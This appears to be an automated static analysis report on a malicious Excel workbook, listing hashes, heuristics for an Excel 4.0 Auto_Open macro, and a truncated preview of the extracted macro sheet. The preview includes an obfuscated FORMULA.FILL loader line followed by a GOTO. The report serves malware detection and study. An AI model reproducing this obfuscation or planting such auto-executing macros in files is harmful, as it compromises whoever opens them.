Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf4779fc07ce9583…

MALICIOUS

Office (OLE)

174.5 KB Created: 2020-05-13 10:26:34 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: e1ffce3be6379129a7ed26919bbc87ca SHA-1: a4bf9c5dd8271986230117fd5c019b055dfb0e1f SHA-256: bf4779fc07ce9583a43efea5a9b595cd219175112243e65a96d0ed105a0e0dbb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code upon opening the workbook. The macro uses dangerous functions like RUN and FORMULA.FILL, suggesting it attempts to execute arbitrary commands, likely to download and run a second-stage payload. The obfuscated nature of the FORMULA.FILL arguments prevents full reconstruction of the payload URL or command.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 127009 bytes
SHA-256: 8a8951020bab1b1658866d9ba8d9453a0017b3f3d60368aeb4e8e25897cb4e57
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!CM6479 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,DT56,"",1.06250000000000000000
'  Sheet,JA57,"",-1.66363636363636357984
'  Sheet,HF67,"",186.00000000000000000000
'  Sheet,L80,"",0.33237094219653173788
'  Sheet,GO201,"",1.40625000000000000000
'  Sheet,GQ253,"",-0.27397260273972601219
'  Sheet,IU262,"",3.40000244140624996447
'  Sheet,F343,"",-133.00000000000000000000
'  Sheet,BZ345,"",2.58333333333333348136
'  Sheet,II347,"",-0.90990990990990994192
'  Sheet,EL392,"",3.75961538461538458122
'  Sheet,DX405,"FORMULA.FILL(CHAR(IO65144-BG26742)&CHAR(DS26744/FR5981)&CHAR(IO65144*BU13778)&CHAR(IX7166+JK61653)&CHAR(IO65144+DR15795)&CHAR(EF47446/EX20258)&CHAR(IO65144*JU13517)&CHAR(CS37710*DL2127)&CHAR(CS37710+GK44617)&CHAR(CS37710-FN64478)&CHAR(IX7166+IN17913)&CHAR(IO65144/JN39881)&CHAR(HB7105+EQ15384)&CHAR(HW63021+E19472)&CHAR(DS26744*FP3448)&CHAR(IO65144*EZ35097)&CHAR(IX7166-GL6563)&CHAR(EF47446/GK25436)&CHAR(IX7166*DR8309)&CHAR(CS37710*EA59429)&CHAR(IO65144*CF13902)&CHAR(DS26744*GO201)&CHAR(IL15337*GF62042)&CHAR(IX7166+S16337)&CHAR(IL15337+IX4147)&CHAR(IO65144/JP6021)&CHAR(CS37710*BL48975)&CHAR(K42695/IR16997)&CHAR(IO65144*IR58467)&CHAR(EH49332-ES38389)&CHAR(EF47446-DF34851)&CHAR(IL15337+V62212)&CHAR(CS37710-M4995)&CHAR(IO65144*FU58496)&CHAR(HW63021-II5389)&CHAR(EF47446-DE35747)&CHAR(CS37710+I28249)&CHAR(HB7105*BO65482)&CHAR(EH49332*JI51176)&CHAR(HB7105*BC46891)&CHAR(CS37710-DO56925)&CHAR(K42695*HA52936)&CHAR(CS37710-BD63600)&CHAR(HW63021-D12515)&CHAR(IO65144/IJ57488)&CHAR(EF47446*BT17474)&CHAR(IL15337*DK21169)&CHAR(EF47446+BN31301)&CHAR(IX7166/FF13132),HN21276)",""
'  Sheet,DX406,GOTO(DX41372),""
'  Sheet,GQ412,"",60.00000000000000000000
'  Sheet,BE437,"",327.00000000000000000000
'  Sheet,IP450,"",-587.00000000000000000000
'  Sheet,JA519,"",1.54545454545454541417
'  Sheet,HJ547,"",-105.00000000000000000000
'  Sheet,G611,"",-4.61818181818181816567
'  Sheet,EZ619,"",-0.51764705882352946009
'  Sheet,IM669,"",-393.00000000000000000000
'  Sheet,BG700,"",250.00000000000000000000
'  Sheet,BI703,"",354.00000000000000000000
'  Sheet,EA780,"",-180.00000000000000000000
'  Sheet,DP782,"",2.33333333333333348136
'  Sheet,FZ834,"",90.00000000000000000000
'  Sheet,C837,"",0.30740740740740740700
'  Sheet,DT847,"",0.67924528301886788473
'  Sheet,ES872,"",-44.00000000000000000000
'  Sheet,HE876,"",-186.00000000000000000000
'  Sheet,DA944,"",-35.00000000000000000000
'  Sheet,CI995,"",-75.00000000000000000000
'  Sheet,BS1049,"",232.00000000000000000000
'  Sheet,FD1060,"",-0.15748031496062991907
'  Sheet,GE1068,"",-0.28828828828828828579
'  Sheet,JB1094,"",3.77777777777777767909
'  Sheet,GA1237,"",-1.22000061035156259770
'  Sheet,JQ1245,"",-294.00000000000000000000
'  Sheet,BD1300,"",226.00000000000000000000
'  Sheet,IP1347,"",-560.00000000000000000000
'  Sheet,HL1349,"",-235.00000000000000000000
'  Sheet,K1371,"",-159.00000000000000000000
'  Sheet,IX1382,"",22.00000000000000000000
'  Sheet,DA1434,"",-2.02000122070312482236
'  Sheet,IJ1468,"",-234.00000000000000000000
'  Sheet,HX1544,"",-121.00000000000000000000
'  Sheet,P1634,"",-220.00000000000000000000
'  Sheet,II1676,"",0.23273657289002558368
'  Sheet,EC1712,"",360.00000000000000000000
'  Sheet,EF1882,"",-0.36861313868613138078
'  Sheet,CL1899,"",6.13636363636363668661
'  Sheet,GN1902,"",0.36781609195402298340
'  Sheet,FE2006,"",-0.50819672131147541894
'  Sheet,JD2015,"",0.25925925925925924487
'  Sheet,EA2038,"",-15.00000000000000000000
'  Sheet,IG2040,"",-5.38235294117647100620
'  Sheet,V2076,"",0.45569620253164555557
'  Sheet,JF2122,"",85.00000000000000000000
'  Sheet,EC2124,"",-1.58000122070312509770
'  Sheet,DL2127,"",-1.60784313725490202174
'  Sheet,
... (truncated)